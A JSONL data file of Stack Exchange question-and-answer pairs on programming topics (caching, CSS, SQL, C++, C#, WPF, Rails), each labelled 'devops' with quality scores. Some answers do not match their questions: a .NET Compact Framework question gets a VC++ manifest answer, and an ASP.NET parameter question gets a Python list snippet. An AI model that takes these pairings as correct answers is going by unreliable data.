{"id": "hf_242b0bceec15", "question": "<p>I'm migrating a Hibernate application's cache from EHCache to JBoss TreeCache.\nI'm trying to find how to configure the equivalent to maxElementsOnDisk to limit the cache size on disk, but I couldn't find anything similar to configure in a FileCacheLoader with passivation activated.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This page\nseems to imply that the correct configuration element is:\n```\n```\n<attribute name=\"MaxCapacity\">20000</attribute>\n```\n```\nHowever, I've only ever used EHCache myself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.016664"}
{"id": "hf_10cd6ffbf20c", "question": "<p>What is the best way to vertically center the content of a div when the height of the content is variable.  In my particular case, the height of the container div is fixed, but it would be great if there were a solution that would work in cases where the container has a variable height as well. Also, I would love a solution with no, or very little use of CSS hacks and/or non-semantic markup.</p>\n\n<p><img src=\"https://content.screencast.com/users/jessegavin/folders/Jing/media/ba5c2688-0aad-4e89-878a-8911946f8612/2008-09-12_1027.png\" alt=\"alt text\"></p>\n", "question_body": "", "answer": "This is something I have needed to do many times and a consistent solution still requires you add a little non-semantic markup and some browser specific hacks.  When we get browser support for css 3 you'll get your vertical centering without sinning.\nFor a better explanation of the technique you can look\nthe article I adapted it from\n, but basically it involves adding an extra element and applying different styles in IE and browsers that support\n```\nposition:table\\table-cell\n```\non non-table elements.\n```\n```\n<div class=\"valign-outer\">\n    <div class=\"valign-middle\">\n        <div class=\"valign-inner\">\n            Excuse me. What did you sleep in your clothes again last night. Really. You're gonna be in the car with her. Hey, not too early I sleep in on Saturday. Oh, McFly, your shoe's untied. Don't be so gullible, McFly. You got the place fixed up nice, McFly. I have you're car towed all the way to your house and all you've got for me is light beer. What are you looking at, butthead. Say hi to your mom for me.\n        </div>\n    </div>\n</div>\n\n<style>\n    /* Non-structural styling */\n    .valign-outer { height: 400px; border: 1px solid red; }\n    .valign-inner { border: 1px solid blue; }\n</style>\n\n<!--[if lte IE 7]>\n<style>\n    /* For IE7 and earlier */\n    .valign-outer { position: relative; overflow: hidden; }\n    .valign-middle { position: absolute; top: 50%; }\n    .valign-inner { position: relative; top: -50% }\n</style>\n<![endif]-->\n<!--[if gt IE 7]> -->\n<style>\n    /* For other browsers */\n    .valign-outer { position: static; display: table; overflow: hidden; }\n    .valign-middle { position: static; display: table-cell; vertical-align: middle; width: 100%; }\n</style>\n```\n```\nThere are many ways (hacks) to apply styles in specific sets of browsers. I used conditional comments but look at the article linked above to see two other techniques.\nNote: There are simple ways to get vertical centering if you know some heights in advance, if you are trying to center a single line of text, or in several other cases.  If you have more details then throw them in because there may be a method that doesn't require browser hacks or non-semantic markup.\nUpdate:\nWe are beginning to get better browser support for CSS3, bringing both flex-box and transforms as alternative methods for getting vertical centering (among other effects). See\nthis other question\nfor more information about modern methods, but keep in mind that browser support is still sketchy for CSS3.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.042094"}
{"id": "hf_8a6e395f2493", "question": "<p>I have the following code:</p>\n\n<pre><code>SELECT &lt;column&gt;, count(*)\nFROM &lt;table&gt;\nGROUP BY &lt;column&gt; HAVING COUNT(*) &gt; 1;\n</code></pre>\n\n<p>Is there any difference to the results or performance if I replace the COUNT(*) with COUNT('x')?</p>\n\n<p>(This question is related to a <a href=\"https://stackoverflow.com/questions/59294/in-sql-whats-the-difference-between-countcolumn-and-count\">previous one</a>)</p>\n", "question_body": "", "answer": "The major performance difference is that COUNT(*) can be satisfied by examining the primary key on the table.\ni.e. in the simple case below, the query will return immediately, without needing to examine any rows.\n```\n```\nselect count(*) from table\n```\n```\nI'm not sure if the query optimizer in SQL Server will do so, but in the example above, if the column you are grouping on has an index the server should be able to satisfy the query without hitting the actual table at all.\nTo clarify: this answer refers specifically to SQL Server.  I don't know how other DBMS products handle this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.088032"}
{"id": "hf_71530fff5928", "question": "<p>Suppose I have <code>fileA.h</code> which declares a class <code>classA</code> with template function <code>SomeFunc&lt;T&gt;()</code>. This function is implemented directly in the header file (as is usual for template functions). Now I add a specialized implementation of <code>SomeFunc()</code> (like for <code>SomeFunc&lt;int&gt;()</code>) in <code>fileA.C</code> (ie. not in the header file).</p>\n\n<p>If I now call <code>SomeFunc&lt;int&gt;()</code> from some other code (maybe also from another library), would it call the generic version, or the specialization?</p>\n\n<p>I have this problem right now, where the class and function live in a library which is used by two applications. And one application correctly uses the specialization, while another app uses the generic form (which causes runtime problems later on). Why the difference? Could this be related to linker options etc? This is on Linux, with g++ 4.1.2.</p>\n", "question_body": "", "answer": "Unless the specialized template function is also listed in the header file, the other application will have no knowledge of the specialized version.  The solution is the add\n```\nSomeFunc<int>()\n```\nto the header as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.128837"}
{"id": "hf_356f673b5ed5", "question": "<p>In a ColdFusion Component (CFC), is it necessary to use fully qualified names for variables-scoped variables?</p>\n\n<p>Am I going to get myself into trouble if I change this:</p>\n\n<pre><code>&lt;cfcomponent&gt;\n    &lt;cfset variables.foo = \"a private instance variable\"&gt;\n\n    &lt;cffunction name = \"doSomething\"&gt;\n        &lt;cfset var bar = \"a function local variable\"&gt;\n        &lt;cfreturn \"I have #variables.foo# and #bar#.\"&gt;\n    &lt;/cffunction&gt;\n&lt;/cfcomponent&gt;\n</code></pre>\n\n<p>to this?</p>\n\n<pre><code>&lt;cfcomponent&gt;\n    &lt;cfset foo = \"a private instance variable\"&gt;\n\n    &lt;cffunction name = \"doSomething\"&gt;\n        &lt;cfset var bar = \"a function local variable\"&gt;\n        &lt;cfreturn \"I have #foo# and #bar#.\"&gt;\n    &lt;/cffunction&gt;\n&lt;/cfcomponent&gt;\n</code></pre>\n", "question_body": "", "answer": "It won't matter to specify \"variables\" when you create the variable, because foo will be placed in the variables scope by default; but it will matter when you access the variable.\n```\n```\n<cfcomponent>\n    <cfset foo = \"a private instance variable\">\n\n    <cffunction name=\"doSomething\">\n        <cfargument name=\"foo\" required=\"yes\"/>\n        <cfset var bar = \"a function local variable\">\n        <cfreturn \"I have #foo# and #bar#.\">\n    </cffunction>\n\n    <cffunction name=\"doAnotherThing\">\n        <cfargument name=\"foo\" required=\"yes\"/>\n        <cfset var bar = \"a function local variable\">\n        <cfreturn \"I have #variables.foo# and #bar#.\">\n    </cffunction>\n\n</cfcomponent>\n```\n```\ndoSomething(\"args\") returns \"I have\nargs\nand a\nfunction local variable\n\"\ndoAnotherThing(\"args\") returns \"I have\na private instance of a variable\nand a\nfunction local variable\n.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.176749"}
{"id": "hf_0fa50739a5b9", "question": "<p>Those of you who have used <a href=\"http://research.microsoft.com/Pex/\" rel=\"noreferrer\">Pex</a>, what do you think its advantages and disadvantages are of Pex as a tool?</p>\n\n<p>Also, what do you think are the advantages and disadvantages of \"Automated Exploratory Testing\" in general, <strong>as a supplement to</strong> TDD/Unit Testing?</p>\n", "question_body": "", "answer": "I think Pex as an exploratory testing tool is really intriguing. In that regard, I see it as something I'd want to hand off to QA to use.\nAs a TDD tool, it needs some work, as TDD is a design activity. However, I do like the direction that Peli is heading. There's something to be said for automated assisted design. For example, just because TDD is a design tool, there's no reason I can't have an automated tool point out potential edge cases while I'm designing, right? Build quality in from the start.\nCheck out this post in which Peli uses Pex in a TDD style workflow.\nhttp://blog.dotnetwiki.org/TDDingABinaryHeapWithPexPart1.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.226605"}
{"id": "hf_c500f1e077f4", "question": "<p>Is accessing a <strong>bool</strong> field atomic in C#? In particular, do I need to put a lock around:</p>\n\n<pre><code>class Foo\n{\n   private bool _bar;\n\n   //... in some function on any thread (or many threads)\n   _bar = true;\n\n   //... same for a read\n   if (_bar) { ... }\n}\n</code></pre>\n", "question_body": "", "answer": "Yes.\nReads and writes of the following data types are atomic: bool, char, byte, sbyte, short, ushort, uint, int, float, and reference types.\nas found in\nC# Language Spec\n.\nEdit: It's probably also worthwhile understanding the\nvolatile\nkeyword.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.251536"}
{"id": "hf_be039570006e", "question": "<p>I've got the following in my .css file creating a little image next to each link on my site:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>div.post .text a[href^=\"http:\"]\n{\n    background: url(../../pics/remote.gif) right top no-repeat;\n    padding-right: 10px;\n    white-space: nowrap;\n}\n</code></pre>\n\n<p>How do I modify this snippet (or add something new) to exclude the link icon next to images that are links themselves?</p>\n", "question_body": "", "answer": "It might be worth it to add a class to those\n```\n<a>\n```\ntags and then add another declaration to remove the background:\n```\n```\ndiv.post .text a.noimage{\n   background:none;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.275608"}
{"id": "hf_1bd518ca38ce", "question": "<p>I'm using MySQL in particular, but I'm hoping for a cross-vendor solution.  I'm using the NOW() function to add a timestamp as a column for each record.</p>\n\n<pre><code>INSERT INTO messages \n(typeId, messageTime, stationId, message) \nVALUES \n(?, NOW(), ?, ?)\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSELECT * FROM messages WHERE DATE_SUB(CURDATE(),INTERVAL 1 DAY) <= messageTime\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.311537"}
{"id": "hf_ff2262b9d7cc", "question": "<p>How do I create a silverlight data template in code? I've seen plenty of examples for WPF, but nothing for Silverlight.</p>\n\n<p>Edit: Here's the code I'm now using this for, based on the answer from Santiago below.</p>\n\n<pre><code>public DataTemplate Create(Type type)\n{\n  return (DataTemplate)XamlReader.Load(\n          @\"&lt;DataTemplate\n            xmlns=\"\"http://schemas.microsoft.com/client/2007\"\"&gt;\n            &lt;\" + type.Name + @\" Text=\"\"{Binding \" + ShowColumn + @\"}\"\"/&gt;\n            &lt;/DataTemplate&gt;\"\n   );\n}\n</code></pre>\n\n<p>This works really nicely and allows me to change the binding on the fly. </p>\n", "question_body": "", "answer": "citation from MSDN\n:\nThe XAML usage that defines the content for creating a data template is not exposed as a settable property. It is special behavior built into the XAML processing of a DataTemplate object element.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.383820"}
{"id": "hf_57e7a3735640", "question": "<p>I'd like to make some custom MenuHeaders in WPF so I can have (for example), an icon and text in a menu item.</p>\n\n<p>Normally using MenuItems, if you populate the Header field with straight text, you can add an accelerator by using an underscore. eg, _File</p>\n\n<p>However, if I wanted to put in a UserControl, I believe this function would break, how would I do something similar to the following?</p>\n\n<pre><code>&lt;Menu&gt;\n&lt;MenuItem&gt;\n    &lt;MenuItem.Header&gt;\n    &lt;UserControl&gt;\n        &lt;Image Source=\"...\" /&gt;\n        &lt;Label Text=\"_Open\" /&gt;\n    &lt;/UserControl&gt;\n    &lt;/MenuItem.Header&gt;\n&lt;/MenuItem&gt;\n...\n</code></pre>\n", "question_body": "", "answer": "The problem is you placed the image inside of the content of the MenuHeader which means that you'll lose the accelerator key. If you're just trying to have an image in the menu header, do the following.\n```\n```\n<MenuItem Header=\"_Open\">\n  <MenuItem.Icon>\n    <Image Source=\"images/Open.png\"/>\n  </MenuItem.Icon>\n</MenuItem>\n```\n```\nIf you want to customize the look and feel even further, modify the\ncontroltemplate\nand style for the menu. From experience, styling the menus and menuitems are much more difficult then styling the other WPF controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.408105"}
{"id": "hf_4b34a86c6e1f", "question": "<p>By default the webjump hotlist has the following which I use quite often:</p>\n\n<pre><code>M-x webjump RET Google\nM-x webjump RET Wikipedia\n</code></pre>\n\n<p>How can I add 'Stackoverflow' to my list?</p>\n", "question_body": "", "answer": "Here's some example code in\na webjump.el file on a site run by Apple:\n```\n```\n;;   (require 'webjump)\n;;   (global-set-key \"\\C-cj\" 'webjump)\n;;   (setq webjump-sites\n;;         (append '(\n;;                   (\"My Home Page\" . \"www.someisp.net/users/joebobjr/\")\n;;                   (\"Pop's Site\"   . \"www.joebob-and-son.com/\")\n;;                   )\n;;                 webjump-sample-sites))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.444801"}
{"id": "hf_fb391f0a9f9e", "question": "<p>I have a Windows Form that takes quite a bit of time to load initially.  However, each subsequent request to load the Form doesn't take as long.  Is there a way to optimize a Form's load time?</p>\n", "question_body": "", "answer": "You can use\nngen\n.\nI also use this tip to reduce the\nMemory footprint on startup\n.\nThe Native Image Generator (Ngen.exe) is a tool that improves the performance of managed applications. Ngen.exe creates native images, which are files containing compiled processor-specific machine code, and installs them into the native image cache on the local computer. The runtime can use native images from the cache instead using the just-in-time (JIT) compiler to compile the original assembly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.481442"}
{"id": "hf_e03b05bb35cd", "question": "<p>What's a good program to record videos or screencasts being played on screen?</p>\n", "question_body": "", "answer": "I've had success with Camtasia / CamStudio.  Check out\nhttp://showmedo.com\nfor tutorials.  It's a little recursive though - it would be better to capture it from source.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.557530"}
{"id": "hf_8fc82487a196", "question": "<p>is there an easy way to transform HTML into markdown with JAVA?</p>\n\n<p>I am currently using the Java <strong><a href=\"http://code.google.com/p/markdownj/\" rel=\"noreferrer\">MarkdownJ</a></strong> library to transform markdown to html.</p>\n\n<pre><code>import com.petebevin.markdown.MarkdownProcessor;\n...\npublic static String getHTML(String markdown) {\n    MarkdownProcessor markdown_processor = new MarkdownProcessor();\n    return markdown_processor.markdown(markdown);\n}\n\npublic static String getMarkdown(String html) {\n/* TODO Ask stackoverflow */\n}\n</code></pre>\n", "question_body": "", "answer": "I am working on the same issue, and experimenting with a couple different techniques.\nThe answer above could work. You could use the\njTidy library\nto do the initial cleanup work and convert from HTML to XHTML. You use the\nXSLT stylesheet\nlinked above.\nUnfortunately there is no library that has a one-stop function to do this in Java. You could try using the Python script\nhtml2text\nwith Jython, but I haven't yet tried this!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.634477"}
{"id": "hf_f7f3d00a5906", "question": "<p>I understand the main function of the lock key word from MSDN</p>\n\n<blockquote>\n  <p>lock Statement (C# Reference)</p>\n  \n  <p>The lock keyword marks a statement\n  block as a critical section by\n  obtaining the mutual-exclusion lock\n  for a given object, executing a\n  statement, and then releasing the\n  lock.</p>\n</blockquote>\n\n<p>When should the lock be used?  </p>\n\n<p>For instance it makes sense with multi-threaded applications because it protects the data.  But is it necessary when the application does not spin off any other threads?</p>\n\n<p>Is there performance issues with using lock?</p>\n\n<p>I have just inherited an application that is using lock everywhere, and it is single threaded and I want to know should I leave them in, are they even necessary?</p>\n\n<p>Please note this is more of a general knowledge question, the application speed is fine, I want to know if that is a good design pattern to follow in the future or should this be avoided unless absolutely needed.</p>\n", "question_body": "", "answer": "Generally speaking if your application is single threaded, you're not going to get much use out of the lock statement. Not knowing your application exactly, I don't know if they're useful or not - but I suspect not. Further, if you're application is using lock everywhere I don't know that I would feel all that confident about it working in a multi-threaded  environment anyways - did the original developer\nactually\nknow how to develop multi-threaded code, or did they just add lock statements everywhere in the vague hope that that would do the trick?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.669723"}
{"id": "hf_5a9b20ff4e20", "question": "<p>I have a page results page (you get there after submitting your search query elsewhere) whit a whole bunch of gridviews for different type of data objects.</p>\n\n<p>Obviously, some of the queries take longer than the others. How can I make each gridview render as soon as it has the data it needs?</p>\n\n<p>This has been tricky for me because it must work on a postback as well as a pageload. Also, the object data sources just fire automatically on page load/postback; I'm not calling any methods programatically to get the data. Will I have to change this? </p>\n", "question_body": "", "answer": "Could you put the DataGrids inside panels that have their visibility set to false, then call a client-side javascript function from the body's onload event that calls a server side function that sets the visibility of the panels to true?\nIf you combined this with an asp:updateProgress control and wrapped the whole thing in an UpdatePanel, you should get something close to what you're looking for - especially if you rigged the js function called in onload to only show one panel and call a return function that showed the next etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.718020"}
{"id": "hf_0322e25b18d3", "question": "<p>What's the best way to determine which version of the .NET Compact Frameworks (including Service Packs) is installed on a device through a .NET application.  </p>\n", "question_body": "", "answer": "I have battled this problem myself last week and consider myself somewhat of an expert now ;)\nI'm 99% sure that not all dlls and static libraries were recompiled with the SP1 version. You need to put\n```\n```\n#define _BIND_TO_CURRENT_MFC_VERSION 1\n#define _BIND_TO_CURRENT_CRT_VERSION 1\n```\n```\ninto\nevery\nproject you're using. For every project of a real-world size, it's very easy to forget some small lib that wasn't recompiled.\nThere are more flags that define what versions to bind to; it's documented on\nhttp://msdn.microsoft.com/en-us/library/cc664727%28v=vs.90%29.aspx\n. As an alternative to the lines above, you can also put\n```\n```\n#define _BIND_TO_CURRENT_VCLIBS_VERSION 1\n```\n```\nwhich will bind to the latest version of all VC libs (CRT, MFC, ATL, OpenMP).\nThen, check what the embedded manifest says. Download XM Resource Editor:\nhttp://www.wilsonc.demon.co.uk/d10resourceeditor.htm\n. Open every dll and exe in your solution. Look under 'XP Theme Manifest'. Check that the 'version' attribute on the right-hand side is '9.0.30729.1'. If it's '9.0.21022', some static library is pulling in the manifest for the old version.\nWhat I found is that in many cases,\nboth\nversions were included in the manifest. This means that some libraries use the sp1 version and others don't.\nA great way to debug which libraries don't have the preprocessor directives set: temporarily modify your platform headers so that compilation stops when it tries to embed the old manifest. Open C:\\Program Files\\Microsoft Visual Studio 9.0\\VC\\crt\\include\\crtassem.h. Search for the '21022' string. In that define, put something invalid (change 'define' to 'blehbleh' or so). This way, when you're compiling a project where the\n```\n_BIND_TO_CURRENT_CRT_VERSION\n```\npreprocessor flag is not set, your compilation will stop and you'll know that you need to add them or made sure that it's applied everywhere.\nAlso make sure to use Dependency Walker so that you know what dlls are being pulled in. It's easiest to install a fresh Windows XP copy with no updates (only SP2) on a virtual machine. This way you know for sure that there is nothing in the SxS folder that is being used instead of the side-by-side dlls that you supplied.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.754363"}
{"id": "hf_5e9d4c50687d", "question": "<p>I have a web page that I have hooked up to a <a href=\"http://en.wikipedia.org/wiki/Stored_procedure\" rel=\"nofollow noreferrer\">stored procedure</a>. In this SQL data source, I have a parameter that I'm passing back to the stored procedure of type int.  </p>\n\n<p><a href=\"http://en.wikipedia.org/wiki/ASP.NET\" rel=\"nofollow noreferrer\">ASP.NET</a> seems to want to default to <em>int32</em>, but the number won't get higher than 6.  Is it ok to override the ASP.NET default and put in 16 or will there be a conflict somewhere down the road?</p>\n\n<p>specification: the database field has a length of 4 and precision of 10, if that makes a difference in the answer.</p>\n", "question_body": "", "answer": "Are you talking about doing this?\n```\n```\n>>> a = [ ['a', 'b'], ['c', 'd'] ]\n>>> a[1]\n['c', 'd']\n>>> a[1][1]\n'd'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.791339"}
{"id": "hf_cea8ad3e5744", "question": "<p>Is there a way to get at the ItemContaner of a selected item in a listbox?  In Silverlight 2.0 Beta 1 I could, but the container is hidden in Beta 2 of Silverlight 2.0. </p>\n\n<p>I'm trying to resize the listbox item when it is unselected to a specific size and when selected to a variable size.  I also want to get the relative position of the selected item for animations.   Growing to a variable size and getting the relative pasition is why i need to get to the listbox item.</p>\n\n<p>I should clarify i'm not adding items to the listbox explicitly.  I am using data binding in xaml and DataTemplates.  What I have trouble accessing is the ItemContainer of the selected item's DataTemplate.</p>\n", "question_body": "", "answer": "If you are adding non-UI elements to the listbox (such as strings or non-UI data objects), then this is probably pretty difficult.  However if you wrap your items in some sort of FrameworkElement-derived object before adding them to the listbox, you can use TransformToVisual to get the relative size and use Height and Width to set the size of the item.\nIn general you can wrap your objects in a ContentControl like the following.  Instead of:\n```\n```\n_ListBox.Items.Add(obj0);\n_ListBox.Items.Add(obj1);\n```\n```\nDo this:\n```\n```\n_ListBox.Items.Add(new ContentControl { Content = obj0 });\n_ListBox.Items.Add(new ContentControl { Content = obj1 });\n```\n```\nNow when you get _ListBox.SelectedItem you can cast it to ContentControl and set the size and get the relative position.  If you need the original object, simply get the value of the item's Content property.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.815466"}
{"id": "hf_7273d0145c58", "question": "<p>Given a controller method like: </p>\n\n<pre><code>def show\n  @model = Model.find(params[:id])\n\n  respond_to do |format|\n    format.html # show.html.erb\n    format.xml  { render :xml =&gt; model }\n  end\nend\n</code></pre>\n\n<p>What's the best way to write an integration test that asserts that the return has the expected XML?</p>\n", "question_body": "", "answer": "Set the request objects accept header:\n```\n```\n@request.accept = 'text/xml' # or 'application/xml' I forget which\n```\n```\nThen you can assert the response body is equal to what you were expecting\n```\n```\nassert_equal '<some>xml</some>', @response.body\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.844585"}
{"id": "hf_2610c89b82ba", "question": "<p>Erasing programs such as Eraser recommend overwriting data maybe 36 times.</p>\n\n<p>As I understand it all data is stored on a hard drive as 1s or 0s.</p>\n\n<p>If an overwrite of random 1s and 0s is carried out once over the whole file then why isn't that enough to remove all traces of the original file?</p>\n", "question_body": "", "answer": "There are \"disk repair\" type applications and services that can still read data off a hard drive even after it's been formatted, so simply overwriting with random 1s and 0s one time isn't sufficient if you really need to securely erase something.\nI would say that for the average user, this is more than sufficient, but if you are in a high-security environment (government, military, etc.) then you need a much higher level of \"delete\" that can pretty effectively guarantee that no data will be recoverable from the drive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.868849"}
{"id": "hf_4c3d227b71f5", "question": "<p>In a LotusScript Agent that is being run via WebQueryOpen, how do you get the name of the current server?</p>\n", "question_body": "", "answer": "```\n```\nSet s = New NotesSession\nSet db = s.CurrentDatabase\n\nIf db.Server <> \"\" Then\n  Set sName = New NotesName(db.Server)\nElse\n  Set sName = New NotesName(s.Username)\nEnd If\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.934434"}
{"id": "hf_88a83df20c7f", "question": "<p>Is there an equivalent operator to Haskell's list difference operator <code>\\\\</code> in F#?</p>\n", "question_body": "", "answer": "Nope... Just write it and make it an infix operator --using the set of special characters. Backslash (\n```\n\\\n```\n) is not in the list below, so it will not work as an infix operator. See the\nmanual\n:\ninfix-op :=\n```\n```\nor || & && <OP >OP $OP = |OP &OP ^OP :: -OP +OP *OP /OP %OP\n\n**OP\n```\n```\nprefix-op :=\n```\n```\n!OP ?OP ~OP -OP +OP % %% & &&\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:09.970413"}
{"id": "hf_2b3af71b91c0", "question": "<p>The most common method for corrupting compressed files is to inadvertently do an ASCII-mode FTP transfer, which causes a many-to-one trashing of CR and/or LF characters.</p>\n\n<p>Obviously, there is information loss, and the best way to fix this problem is to transfer again, in FTP binary mode.</p>\n\n<p>However, if the original is lost, and it's important, how recoverable is the data?</p>\n\n<p>[Actually, I already know what I think is the best answer (it's very difficult but sometimes possible - I'll post more later), and the common non-answers (lots of off-the-shelf programs for repairing CRCs without repairing data), but I thought it would be interesting to try out this question during the stackoverflow beta period, and see if anyone else has gone down the successful-recovery path or discovered tools I don't know about.]</p>\n", "question_body": "", "answer": "You could try writing a little script to replace all of the CRs with CRLFs (assuming the direction of trashing was CRLF to CR), swapping them randomly per block until you had the correct crc.  Assuming that the data wasn't particularly large, I guess that might not use all of your CPU until the heat death of the universe to complete.\nAs there is definite information loss, I don't know that there is a better way.  Loss in the CR to CRLF direction might be slightly easier to roll back.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.032164"}
{"id": "hf_e8359113ae82", "question": "<p>With text-recognition improving and CAPTCHA-breakers using Mechanical Turks to break otherwise unbreakable keys, what's the next technology to keep scripts from spam-botting a site that relies on user input?</p>\n", "question_body": "", "answer": "I am a fan of limiting logins by using a credit card or cell phone SMS (like Craigslist and Gmail). These methods don't cost much (<$1), but can be highly effective in keeping spam accounts under control.\nHowever, this is tricky on a site like SO because one of the founding goals is to have minimum friction and allow anonymous users to contribute. I guess that's where the throttling and voting comes into play.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.057006"}
